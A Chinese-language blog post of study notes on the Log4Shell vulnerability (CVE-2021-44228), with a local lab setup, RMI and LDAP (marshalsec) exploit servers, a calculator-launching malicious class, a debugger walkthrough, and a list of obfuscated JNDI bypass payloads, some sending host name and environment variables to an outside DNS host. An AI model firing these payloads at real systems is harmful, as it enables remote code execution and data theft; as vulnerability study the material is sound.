首页 > 编程语言 >java进阶漏洞学习----log4j漏洞学习笔记

java进阶漏洞学习----log4j漏洞学习笔记

时间:2023-11-14 15:11:21浏览次数:41  
标签:upper java F7 F8 ---- 漏洞 ldap import

CVE-2021-44228 log4j2

漏洞版本范围

2.x < version <=2.14.1

环境搭建

linux的ij idea
java版本:JDK1.8u102
https://www.oracle.com/cis/java/technologies/javase/javase8-archive-downloads.html
LOG4J.java

import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;

public class LOG4J {
    private static final Logger logger = LogManager.getLogger(LOG4J.class);
    public static void main(String[] args){
        String test = "${jndi:rmi://127.0.0.1:1099/evil}";
        logger.error("loginfo: {}",test);
    }
}

ATTACK.java

import java.io.IOException;

public class ATTACK {

    static {
        try {
            System.out.println("已经执行");
            Runtime.getRuntime().exec("gnome-calculator");
            System.out.println("已经执行完");
        } catch (IOException e) {
            System.out.println("没有执行");
            e.printStackTrace();
        }
    }
}

ATTACKRMI.java

import com.sun.jndi.rmi.registry.ReferenceWrapper;
import javax.naming.Reference;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class ATTACKRMI {

    public static void main(String[] args) {

        try {
            LocateRegistry.createRegistry(1099);
            Registry registry = LocateRegistry.getRegistry();

            System.out.println("Create RMI registry on port 1099");
            Reference reference = new Reference("", "ATTACK", "");
            ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);
            registry.bind("evil", referenceWrapper);
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}

先执行ATTACKRMI,再执行LOG4J

代码审计

开始调试
打断点

F7进入

F7进入,发现this.isEnabled(level, marker, message, p0)执行时间很短,而 this.logMessage(fqcn, level, marker, message, p0);
执行时间比较长,所以F8跳过isEnabled,并打断点

F7进入logMessage,同理发现Message msg = this.messageFactory.newMessage(message, p0);执行时间很短,F8跳过,并打断点

F7进入this.logMessageSafely

F7进入logMessageTrackRecursion

发现incrementRecursionDepth();执行时间较短,F8跳过,打断点

F7进入tryLogMessage

F7进入log

F8跳过执行时间较短的函数,打断点

F7进入log

F7进入

现在这里有很多函数,需要找到关键的那个
这里采用的方法是先一直F8跳过,直到运行到某一个函数的时候弹出计算器,这里发现经过这个函数后就弹出计算器,打上断点


F7进入log

F8跳过执行时间较短的函数,打断点

F7进入

继续利用F8探测出运行完哪一个函数后弹出计算器,打上断点

F7进入

F8跳过,并打断点

F7进入

F8跳过并打断点

F7进入

F8跳过并打断点

F7进入

F8跳过并打断点

F7进入,打上断点

F7进入

F7进入

F8跳过,F7进入到directEncodeEvent

F7进入

跳过if条件语句,然后一直F8判断经过哪一个函数弹计算器,是StringBuilder text = this.toText((Serializer2)this.eventSerializer, event, getStringBuilder());

F7进入toText

F7继续进入,发现又有很多东西,F8探测出经过哪一个函数弹出计算器

发现当i=某一个值(这里为8)的时候弹出计算器

for(int i = 0; i < len; ++i) {
                this.formatters[i].format(event, buffer);
            }

所以在i=8的时候F7进入,打断点

进入this.converter.format(event, buf);

继续F8探测出经过哪一个函数弹出计算器

这时候发现在这处for+if时候一直反复,检测字符串里面是否含有'${'

所以直接在下面打上一个断点,然后F9

进入workingBuilder.append(this.config.getStrSubstitutor().replace(event, value));中的replace


在最后的return那里打上断点

F7进入

F7进入

发现下面有很多东西,用F8探测

经过探测,在执行String varValue = this.resolveVariable(event, varName, buf, startPos, pos);完后弹计算器,打上断点

F7进入resolveVariable,F8跳过,打上断点

F7进入lookup

F8探测发现执行value = event == null ? lookup.lookup(name) : lookup.lookup(event, name);后会弹计算器,打上断点

最终在此处形成jndi注入,加载远程恶意类

现在使用ldap形式的payload
下载并导入到idea中
https://github.com/pingidentity/ldapsdk/releases
LOG4J2.java

import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;

public class LOG4J2 {
    private static final Logger logger = LogManager.getLogger(LOG4J2.class);
    public static void main(String[] args){
        String test = "${jndi:ldap://0.0.0.0:1389/ATTACK_LDAP}";
        logger.error("loginfo: {}",test);
    }
}

ATTACK_LDAP.java,避坑:不能和其他两个代码放在同一个目录下,放在别的目录下,javac ATTACK_LDAP.java

import java.io.IOException;
import javax.naming.spi.ObjectFactory;

public class ATTACK_LDAP implements ObjectFactory {

    public Object getObjectInstance(Object obj, javax.naming.Name name, javax.naming.Context nameCtx, java.util.Hashtable<?, ?> environment)
            throws Exception {
        try {
            System.out.println("已经开始执行");
            String[] cmd = {"gnome-calculator"};
            java.lang.Runtime.getRuntime().exec(cmd).waitFor();
            System.out.println("已经结束执行");
        } catch (IOException e) {
            System.out.println("没有执行");
            e.printStackTrace();
        }
        return null;
    }
}

这个是marshalsec里面的代码LDAPRefServer.java

import java.net.InetAddress;
import java.net.MalformedURLException;
import java.net.URL;

import javax.net.ServerSocketFactory;
import javax.net.SocketFactory;
import javax.net.ssl.SSLSocketFactory;

import com.unboundid.ldap.listener.InMemoryDirectoryServer;
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
import com.unboundid.ldap.listener.InMemoryListenerConfig;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPException;
import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode;


/**
 * LDAP server implementation returning JNDI references
 *
 * @author mbechler
 *
 */
public class LDAPRefServer {

    private static final String LDAP_BASE = "dc=example,dc=com";


    public static void main ( String[] args ) {
        int port = 1389;
        if ( args.length < 1 || args[ 0 ].indexOf('#') < 0 ) {
            System.err.println(LDAPRefServer.class.getSimpleName() + " <codebase_url#classname> [<port>]"); //$NON-NLS-1$
            System.exit(-1);
        }
        else if ( args.length > 1 ) {
            port = Integer.parseInt(args[ 1 ]);
        }

        try {
            InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);
            config.setListenerConfigs(new InMemoryListenerConfig(
                    "listen", //$NON-NLS-1$
                    InetAddress.getByName("0.0.0.0"), //$NON-NLS-1$
                    port,
                    ServerSocketFactory.getDefault(),
                    SocketFactory.getDefault(),
                    (SSLSocketFactory) SSLSocketFactory.getDefault()));

            config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(args[ 0 ])));
            InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
            System.out.println("Listening on 0.0.0.0:" + port); //$NON-NLS-1$
            ds.startListening();

        }
        catch ( Exception e ) {
            e.printStackTrace();
        }
    }

    private static class OperationInterceptor extends InMemoryOperationInterceptor {

        private URL codebase;


        /**
         *
         */
        public OperationInterceptor ( URL cb ) {
            this.codebase = cb;
        }


        /**
         * {@inheritDoc}
         *
         * @see com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor#processSearchResult(com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult)
         */
        @Override
        public void processSearchResult ( InMemoryInterceptedSearchResult result ) {
            String base = result.getRequest().getBaseDN();
            Entry e = new Entry(base);
            try {
                sendResult(result, base, e);
            }
            catch ( Exception e1 ) {
                e1.printStackTrace();
            }

        }


        protected void sendResult ( InMemoryInterceptedSearchResult result, String base, Entry e ) throws LDAPException, MalformedURLException {
            URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class"));
            System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl);
            e.addAttribute("javaClassName", "foo");
            String cbstring = this.codebase.toString();
            int refPos = cbstring.indexOf('#');
            if ( refPos > 0 ) {
                cbstring = cbstring.substring(0, refPos);
            }
            e.addAttribute("javaCodeBase", cbstring);
            e.addAttribute("objectClass", "javaNamingReference"); //$NON-NLS-1$
            e.addAttribute("javaFactory", this.codebase.getRef());
            result.sendSearchEntry(e);
            result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
        }

    }
}

然后在项目目录下开启一个web服务

LDAPRefServer.java配置参数

先执行LDAPRefServer再执行LOG4J2.java

LDAPRefServer.java简单代码审计(如何开启一个ldap服务的)

int port = 1389;
        if ( args.length < 1 || args[ 0 ].indexOf('#') < 0 ) {
            System.err.println(LDAPRefServer.class.getSimpleName() + " <codebase_url#classname> [<port>]"); //$NON-NLS-1$
            System.exit(-1);
        }
        else if ( args.length > 1 ) {
            port = Integer.parseInt(args[ 1 ]);
        }

从命令行参数中读取codebase_url和classname,检查命令行参数要是少于1个或者第一个命令行参数没包含#,就打印错误信息
如果命令行参数大于1的话,就把第二个值设置为端口号

InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);
            config.setListenerConfigs(new InMemoryListenerConfig(
                    "listen", //$NON-NLS-1$
                    InetAddress.getByName("0.0.0.0"), //$NON-NLS-1$
                    port,
                    ServerSocketFactory.getDefault(),
                    SocketFactory.getDefault(),
                    (SSLSocketFactory) SSLSocketFactory.getDefault()));

            config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(args[ 0 ])));
            InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
            System.out.println("Listening on 0.0.0.0:" + port); //$NON-NLS-1$
            ds.startListening();

创建了一个InMemoryDirectoryServerConfig对象,配置了监听器和拦截器。然后将配置应用到InMemoryDirectoryServer对象上,并启动监听。
使用了args[0]构造了一个URL对象,并传递给了OperationInterceptor
简单来说,就是把一个ldap请求重定向发给了web服务里的恶意类

bypass方式记录

${jndi:ldap://127.0.0.1:1389/ badClassName} 
${${::-j}${::-n}${::-d}${::-i}:${::-r}${::-m}${::-i}://nsvi5sh112ksf1bp1ff2hvztn.l4j.zsec.uk/sploit} 
${${::-j}ndi:rmi://nsvi5sh112ksf1bp1ff2hvztn.l4j.zsec.uk/sploit} 
${jndi:rmi://nsvi5sh112ksf1bp1ff2hvztn.l4j.zsec.uk}
${${lower:jndi}:${lower:rmi}://nsvi5sh112ksf1bp1ff2hvztn.l4j.zsec.uk/sploit} 
${${lower:${lower:jndi}}:${lower:rmi}://nsvi5sh112ksf1bp1ff2hvztn.l4j.zsec.uk/sploit} 
${${lower:j}${lower:n}${lower:d}i:${lower:rmi}://nsvi5sh112ksf1bp1ff2hvztn.l4j.zsec.uk/sploit}
${${lower:j}${upper:n}${lower:d}${upper:i}:${lower:r}m${lower:i}}://nsvi5sh112ksf1bp1ff2hvztn.l4j.zsec.uk/sploit}
${${upper:jndi}:${upper:rmi}://nsvi5sh112ksf1bp1ff2hvztn.l4j.zsec.uk/sploit} 
${${upper:j}${upper:n}${lower:d}i:${upper:rmi}://nsvi5sh112ksf1bp1ff2hvztn.l4j.zsec.uk/sploit}
${${upper:j}${upper:n}${upper:d}${upper:i}:${lower:r}m${lower:i}}://nsvi5sh112ksf1bp1ff2hvztn.l4j.zsec.uk/sploit}
${${::-j}${::-n}${::-d}${::-i}:${::-l}${::-d}${::-a}${::-p}://${hostName}.nsvi5sh112ksf1bp1ff2hvztn.l4j.zsec.uk}
${${upper::-j}${upper::-n}${::-d}${upper::-i}:${upper::-l}${upper::-d}${upper::-a}${upper::-p}://${hostName}.nsvi5sh112ksf1bp1ff2hvztn.l4j.zsec.uk}
${${::-j}${::-n}${::-d}${::-i}:${::-l}${::-d}${::-a}${::-p}://${hostName}.${env:COMPUTERNAME}.${env:USERDOMAIN}.${env}.nsvi5sh112ksf1bp1ff2hvztn.l4j.zsec.uk

参考文章

https://blog.csdn.net/qq_42322144/article/details/121922084

标签:upper,java,F7,F8,----,漏洞,ldap,import
From: https://www.cnblogs.com/thebeastofwar/p/17828919.html

相关文章

  • 如何利用成绩分析工具实现有效的教学反馈和改进?
    教学反馈和改进对于提高教育质量至关重要,而利用成绩分析工具可以帮助教师更好地了解学生的学习情况,并将这些数据转化为有效的反馈和改进措施。本文将详细介绍如何利用成绩分析工具实现有效的教学反馈和改进,包括选择合适的工具、数据收集与分析、制定改进措施等方面。选择合适的......
  • 华为:每个企业都能“一触即达”数智世界
    在大模型浪潮的影响下,几乎各行各业都在探讨数智化转型的课题,一些隐藏在水面下的问题正逐渐浮出水面:一方面,数智化转型的呼声很高,但很多企业不知道该从何处着手,怎么通过数智化的能力降本增效;另一方面,落地过程中还会遇到成本太高、找不到合适的服务商等一连串不得不踩坑的问题。正是在......
  • 聊聊定时器 setTimeout 的时延问题
    全局的 setTimeout()  方法设置一个定时器,一旦定时器到期,就会执行一个函数或指定的代码片段,但是需要注意的是,setTimeout 并不是 ECMAScript 标准的一部分,不过几乎每一个JS运行时都支持了这个函数。定时器的使用比较简单,这里不再阐述,我们这篇文章主要聊下关于setTimeout有......
  • 大师学SwiftUI第9章Part 1 - 异步并发之Task、Async、Await和错误
    其它相关内容请见虚拟现实(VR)/增强现实(AR)&visionOS开发学习笔记苹果系统借助现代处理器的多核可同步执行多条代码,提升同一时间内程序所能执行的任务。例如,一段代码从网上下载文件,另一段代码可以在屏幕上显示进度。此时,我们不能等待第一个执行完后再执行第二个,而必须要同步执行这......
  • 结合大语言模型与亚马逊云科技基础服务,构建知识库智能搜索问答方案
     背景 本篇主要介绍LangChain和开源大语言模型集成,结合亚马逊云科技的云基础服务,构建基于企业知识库的智能搜索问答方案。  LangChain介绍 LangChain是一个利用大语言模型的能力开发各种下游应用的开源框架,它的核心理念是为各种大语言模型应用实现通用的接口,简化大语言模型应......
  • docker
    手动安装1.卸载旧版本较旧的Docker版本称为docker或docker-engine。如果已安装这些程序,请卸载它们以及相关的依赖项。$sudoyumremovedocker\         docker-client\         docker-client-latest\        ......
  • 关于Golang三个内存区域的形象比喻
    当我们使用Go语言编写程序时,可以将这三个内存区域类比为一个大的游乐场。Arena区就像是整个游乐场的主要区域,它是用于分配和管理大对象的地方。在这个区域,我们可以找到各种大型游乐设施,比如大型滑梯、蹦床和攀爬架等。这些设施需要更多的空间和资源来支持,因此它们被分配在Arena区域......
  • ChatGPT、GPT-4 Turbo接口调用
    接口地址https://chat.xutongbao.top/api/light/chat/createChatCompletion请求方式post请求参数model可选值:“gpt-3.5-turbo-1106”、“gpt-3.5-turbo-16k”、“gpt-4”、“gpt-4-1106-preview”。默认值为:“gpt-3.5-turbo-1106”token获取方式:访问:https://chat.xutongbao.to......
  • chatgpt升级啦,训练数据时间更新到2023年4月,支持tools(升级functionCall),128k上下文
     (2023年11月7日)gpt-4-1106-previewhttps://platform.openai.com/docs/models/gpt-4-and-gpt-4-turbo训练数据日期升级到2023年四月上线文增加到128k调用一次chatgpt接口,可以得到多次函数调用 importOpenAIfrom"openai";constopenai=newOpenAI();//Exampledummyfunc......
  • ChatGPT、GPT-4 Turbo接口调用(stream模式)
    接口地址https://chat.xutongbao.top/api/light/chat/createChatCompletion请求方式post请求参数model可选值:“gpt-3.5-turbo-1106”、“gpt-3.5-turbo-16k”、“gpt-4”、“gpt-4-1106-preview”。默认值为:“gpt-3.5-turbo-1106”token获取方式:访问:https://chat.xutongbao.to......